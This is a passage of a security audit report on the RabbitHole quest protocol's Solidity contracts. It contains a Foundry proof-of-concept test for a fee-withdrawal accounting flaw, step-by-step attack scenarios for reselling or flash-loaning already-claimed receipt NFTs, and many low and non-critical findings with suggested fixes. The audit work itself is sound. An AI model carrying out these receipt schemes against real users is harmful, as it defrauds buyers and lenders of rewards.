        RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
        tickets = RabbitHoleTickets(
            address(new ERC1967Proxy(address(ticketsImpl), ""))
        );
        tickets.initialize(
            address(ticketRenderer),
            royaltyRecipient,
            minter,
            0
        );

        // ERC20 token
        token = new ERC20("Mock ERC20", "MERC20");
        factory.setRewardAllowlistAddress(address(token), true);

        vm.stopPrank();
    }

    function signReceipt(address account, string memory questId)
        internal
        view
        returns (bytes32 hash, bytes memory signature)
    {
        hash = keccak256(abi.encodePacked(account, questId));
        bytes32 message = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
        signature = abi.encodePacked(r, s, v);
    }

    function claimReceipt(address account, string memory questId) internal {
        (bytes32 hash, bytes memory signature) = signReceipt(account, questId);
        vm.prank(account);
        factory.mintReceipt(questId, hash, signature);
    }
    
    function test_Erc20Quest_WithdrawRemainingAfterFees() public {
        address alice = makeAddr("alice");

        uint256 startTime = block.timestamp + 1 hours;
        uint256 endTime = startTime + 1 hours;
        uint256 totalParticipants = 10;
        uint256 rewardAmountOrTokenId = 1 ether;
        string memory questId = "a quest";

        // create, fund and start quest
        vm.startPrank(deployer);

        Erc20Quest quest = Erc20Quest(
            factory.createQuest(
                address(token),
                endTime,
                startTime,
                totalParticipants,
                rewardAmountOrTokenId,
                "erc20",
                questId
            )
        );

        uint256 rewards = totalParticipants * rewardAmountOrTokenId;
        uint256 fees = (rewards * factory.questFee()) / 10_000;
        deal(address(token), address(quest), rewards + fees);
        quest.start();

        vm.stopPrank();

        // simulate at least one user claims a receipt
        claimReceipt(alice, questId);

        // simulate time elapses until the end of the quest
        vm.warp(endTime);

        // protocol fees are withdrawn first...
        uint256 protocolFee = quest.protocolFee();
        quest.withdrawFee();
        assertEq(token.balanceOf(protocolFeeRecipient), protocolFee);

        // now the owner tries to withdraw the remaining tokens. Remaining tokens should equal:
        // total (rewards + fees) - alice reward - actual fee (fee for alice claim)
        uint256 expectedRemainingTokens = rewards +
            fees -
            1 *
            rewardAmountOrTokenId -
            protocolFee;
        vm.prank(deployer);
        quest.withdrawRemainingTokens(deployer);
        assertFalse(token.balanceOf(deployer) == expectedRemainingTokens);
        assertTrue(token.balanceOf(deployer) < expectedRemainingTokens);
    }
}

Recommendation

Add a flag to indicate if the protocol fees were already withdrawn and use this to check if the fees amount needs to be subtracted in the calculation for the withdrawRemainingTokens function.

function withdrawRemainingTokens(address to_) public override onlyOwner {
    super.withdrawRemainingTokens(to_);

    uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId;
    uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - unclaimedTokens;
    if (!feesAlreadyWithdrawn) {
      nonClaimableTokens -= protocolFee();
    }
    IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);
}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L96-L118

Vulnerability details

The RabbitHoleReceipt token contract represents a receipt of a completed task for a quest. These tokens are minted for specific quests after a user successfully completes a task, and can be claimed just once using the claim function present in the Quest contract:

function claim() public virtual onlyQuestActive {
    if (isPaused) revert QuestPaused();

    uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender);

    if (tokens.length == 0) revert NoTokensToClaim();

    uint256 redeemableTokenCount = 0;
    for (uint i = 0; i < tokens.length; i++) {
        if (!isClaimed(tokens[i])) {
            redeemableTokenCount++;
        }
    }

    if (redeemableTokenCount == 0) revert AlreadyClaimed();

    uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount);
    _setClaimed(tokens);
    _transferRewards(totalRedeemableRewards);
    redeemedTokens += redeemableTokenCount;

    emit Claimed(msg.sender, totalRedeemableRewards);
}

This function queries the receipt token contract to determine which of the tokens the user holds was minted for that specific quest id. It marks the token ids as claimed and hands the rewards based on how many of those were unclaimed. The receipt token isn't burned or removed from the caller, it is just flagged as used internally in the quest contract.

Impact

A user can be tricked into buying a claimed receipt that doesn't entitle any reward. As receipt tokens are still in possession of the caller after they are claimed, a bad actor can claim the reward and still list the NFT in a secondary market.

In a similar way, another feasible attack would be using lending protocols. A bad actor can borrow or flash loan an unclaimed receipt, claim the rewards, and return it back.

PoC

First scenario:

1. Attacker mints a receipt after completing a task or buys an unclaimed receipt.
2. Attacker claims the rewards in the corresponding quest.
3. Attacker lists the receipt token in a market.
4. Victim buys the receipt token expecting a reward, though the receipt is already claimed.

Second scenario:

1. Victim lists unclaimed reward token in exchange or lending platform.
2. Attacker borrows or uses flash loans to get the receipt token.
3. Attacker claims the rewards in the corresponding quest.
4. Attacker returns the receipt token. Victim is left with a claimed receipt.

Recommendation

Given the current architecture of the solution, the most straightforward solution would be to either burn the receipt token or transfer it from the caller when the claim function is executed.

Low issues

Validate totalParticipants in Quest constructor

The Quest contract should validate that there is at least one participant in the quest, i.e. totalParticipants > 0.

Unbounded gas usage in claim function of Quest contract

The claim function has an unbounded gas usage that traverses different arrays many times.

1. The call to RabbitHoleReceipt.getOwnedTokenIdsOfQuest iterates all receipts for the account and then copies the ones for the given quest into a new array
2. Then it iterates this array to calculate how many of them were already claimed.
3. Finally it iterates the array again to mark the token ids as claimed in the _setClaimed function.

Prefer _disableInitializers() over initializer modifier in constructor of upgradeable contract

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L35

Prefer using _disableInitializers as this better expresses the intention and also prevents future re-initializers in implementation contracts.

Validate quest id in mintReceipt function of QuestFactory contract

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219

Validate that the given questId_ parameter corresponds to an existing valid quest.

if (quests[questId_].questAddress == address(0)) revert InvalidQuestId();

Missing call to base initializer

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L43

RabbitHoleReceipt inherits from ERC721EnumerableUpgradeable but doesn't call its initializer (__ERC721Enumerable_init()).

Validate royalty fee is within bounds

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L90 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L66

The function setRoyaltyFee present in the RabbitHoleReceipt and RabbitHoleTickets contracts should validate that the updated fee is lower or equal to the max basis points.

function setRoyaltyFee(uint256 royaltyFee_) public onlyOwner {
    require(royaltyFee_ <= 10_000);
    royaltyFee = royaltyFee_;
    emit RoyaltyFeeSet(royaltyFee_);
}

Non-critical issues

Missing event for contract parameter change

Important parameter or configuration changes should trigger an event to allow being tracked off-chain.

Occurrences:

• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L50
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L57
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L63
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L142
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L159
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L165
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L172
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L179
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L186
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L65
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L71
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L77
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L54
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L60

Quest contract can be defined as an abstract contract

Consider defining the Quest contract as an abstract contract. The following functions can be marked as abstract and delegate the implementation to child contracts: _calculateRewards, _transferRewards and withdrawRemainingTokens.

Comparing boolean variables or expressions to literal values

Instead of comparing boolean values or expressions to literal values, just use that value or the negation of it. For example, instead of using someBooleanValue == true just use someBooleanValue, or instead of using someBooleanValue == false just use !someBooleanValue.

Occurrences:

• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L136
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L73
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L221

Use uint256 type instead of uint

Prefer using the uint256 type over its uint alias.

Occurrences:

• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L22
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L23
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L31
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L32
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L193
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L199
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L70
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L99
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L104
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L84
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L30
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L33
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L34
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L47
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L100
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L112
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L113
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L114
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L115
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L117
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L118
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L125
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L126
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L128
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L159
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L165
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L169
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L24
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L36
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L102
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L22
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L24
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L26
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L41
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L43
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L45
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/ReceiptRenderer.sol#L100
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/TicketRenderer.sol#L17
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/TicketRenderer.sol#L36
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/interfaces/IQuestFactory.sol#L19

Quest contract type can be defined as en enum

Instead of using string for quest types ("erc20" and "erc115"), define these as an enum.

enum QuestType {
    ERC20,
    ERC1155
}

RabbitHoleReceipt token counter skips first value

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L99

The mint first increments the counter and uses its value.

Remove unused variables

Unused variables in callbacks or implemented functions from interfaces can be commented out to remove the warning. For example:

function foo(uint256 someUnusedValue) ... {

Can be commented out as:

function foo(uint256 /* someUnusedValue */) ... {

Occurrences:

• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L122
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L129
• https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L110

Duplicate call to onlyOwner in withdrawRemainingTokens function of Erc20Quest and Erc1155Quest

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L54

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L150

The withdrawRemainingTokens function present in both contracts validates the owner using the onlyOwner modifier, but the super call to the Quest contract will validate it again. One of these modifiers can be removed.

Unneeded data in IERC1155 transfer callbacks

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L42 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L61

The functions _transferRewards and withdrawRemainingTokens execute an IERC1155 transfer using the literal string 0x00 as data, which is then used in hooks and forwarded during callbacks. This string is the literal value "0x00" of length 4 and doesn't add anything. This can be removed to save gas.

Redundant check in Quest constructor

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L35

The Quest constructor validates that endTime_ <= block.timestamp, but this condition is already implied by startTime_ <= block.timestamp and endTime_ <= startTime_ (lines 36 and 37) and can be safely removed to save gas.

Unneeded storage variable initialization in Quest constructor

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L45

The default value for the redeemedTokens variable is 0 and doesn't need to be initialized.

Redundant storage set in Quest.start function

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L51

The function sets the isPaused variable to false but this is redundant as this is the default value and a quest can't be paused before it has started.

Duplicated getters in Quest contract

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L140 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L145

Getters getRewardAmount and getRewardToken are already implemented by the public visibility of the underlying variables.

Optimize Quest struct fields

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L19-L24

totalParticipants and numberMinted can be safely defined as uint48 (max value is 281474976710656) as to pack these two with the questAddress slot and reduce the struct storage by 2 slots.

struct Quest {
    mapping(address => bool) addressMinted;
    address questAddress;
    uint48 totalParticipants;
    uint48 numberMinted;
}

Unneeded hash parameter in mintReceipt function of QuestFactory contract

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/QuestFactory.sol#L219

The mintReceipt function takes the signed hash as a parameter, only to recalculate it based on the caller and given quest id and compare it against the parameter. There's no point in doing all this, as this hash can be simply constructed and checked using the signature.

function mintReceipt(string memory questId_, bytes memory signature_) public {
    if (quests[questId_].numberMinted + 1 > quests[questId_].totalParticipants) revert OverMaxAllowedToMint();
    if (quests[questId_].addressMinted[msg.sender] == true) revert AddressAlreadyMinted();
    
    bytes32 hash_ = keccak256(abi.encodePacked(msg.sender, questId_);
    if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned();

    quests[questId_].addressMinted[msg.sender] = true;
    quests[questId_].numberMinted++;
    emit ReceiptMinted(msg.sender, questId_);
    rabbitholeReceiptContract.mint(msg.sender, questId_);
}

timestampForTokenId is not used in RabbitHoleReceipt

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L34

The contract stores the timestamp every time a token is minted. Since this isn't used on-chain, consider indexing timestamp off-chain to save gas.

Avoid copying token ids into a new array in getOwnedTokenIdsOfQuest function of RabbitHoleReceipt contract

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L109-L135

This function will first construct an array with the token ids that correspond to the given quest id. Because the actual size of these tokens is unknown in the first place, the function will copy the token ids in a new array of the proper size. This isn't needed, as the array's length can be modified in place using assembly, and save gas by avoiding the creation and iteration of a new array.

function getOwnedTokenIdsOfQuest(
    string memory questId_,
    address claimingAddress_
) public view returns (uint[] memory) {
    uint msgSenderBalance = balanceOf(claimingAddress_);
    uint[] memory tokenIdsForQuest = new uint[](msgSenderBalance);
    uint foundTokens = 0;

    for (uint i = 0; i < msgSenderBalance; i++) {
        uint tokenId = tokenOfOwnerByIndex(claimingAddress_, i);
        if (keccak256(bytes(questIdForTokenId[tokenId])) == keccak256(bytes(questId_))) {
            tokenIdsForQuest[foundTokens++] = tokenId;
        }
    }
    
    // Override length
    assembly {
      mstore(tokenIdsForQuest, foundTokens)
    }
    
    return tokenIdsForQuest;
}